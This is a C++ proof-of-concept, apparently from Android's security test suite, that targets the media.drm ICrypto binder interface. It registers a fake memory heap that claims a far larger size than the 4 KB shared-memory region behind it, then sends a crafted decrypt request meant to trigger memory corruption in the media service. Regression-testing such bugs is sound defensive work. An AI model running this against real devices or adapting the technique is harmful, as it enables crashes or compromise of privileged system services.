C++程序  |  150行  |  3.46 KB

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions vand
 * limitations under the License.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <binder/IMemory.h>
#include <binder/IServiceManager.h>
#include <binder/MemoryDealer.h>
#include <binder/Parcel.h>
#include <cutils/ashmem.h>
#include <utils/String8.h>

using namespace android;

#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)

class MyMemoryHeap : public virtual BnMemoryHeap {
public:
  MyMemoryHeap(int fd) { mFd = fd; }
  int getHeapID() const { return mFd; }
  void *getBase() const { return NULL; }
  size_t getSize() const { return 4096 * 4096; }
  uint32_t getFlags() const { return 0; }
  off_t getOffset() const { return 0; }

private:
  mutable int mFd;
};

sp<IBinder> crypto_binder;

void make_crypto() {

  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> drm_binder = sm->getService(String16("media.drm"));

  Parcel data, reply;

  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));

  drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);

  crypto_binder = reply.readStrongBinder();
}

void create_plugin() {

  Parcel data, reply;

  data.writeInterfaceToken(String16("android.hardware.ICrypto"));

  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
  data.write(uuid, 16);

  data.writeInt32(0);

  crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
}

int set_heap() {

  Parcel data, reply;

  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
  int fd = ashmem_create_region("ele7enxxh", 4096);
  sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
  data.writeStrongBinder(IInterface::asBinder(heap));

  crypto_binder->transact(SET_HEAP, data, &reply, 0);

  return reply.readInt32();
}

void decrypt() {

  Parcel data, reply;

  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
  data.writeInt32(0);
  data.writeInt32(0);
  data.writeInt32(0);

  uint8_t key[16];
  memset(key, 0, 16);
  data.write(key, 16);
  uint8_t iv[16];
  memset(iv, 0, 16);
  data.write(iv, 16);

  // totalsize
  data.writeInt32(4096 * 4);

  sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
  sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
  data.writeStrongBinder(IInterface::asBinder(mem));

  // source.mHeapSeqNum
  data.writeInt32(0);

  // offset
  data.writeInt32(0);

  // numSubSamples
  data.writeInt32(1);

  // numBytesOfClearData
  data.writeInt32(4096 * 4);

  // numBytesOfEncryptedData
  data.writeInt32(0);

  // destination.mType
  data.writeInt32(0);

  // destination.mSharedMemory
  data.writeStrongBinder(IInterface::asBinder(mem));

  crypto_binder->transact(DECRYPT, data, &reply, 0);
}

int main() {

  make_crypto();

  create_plugin();

  set_heap();

  decrypt();

  return 0;
}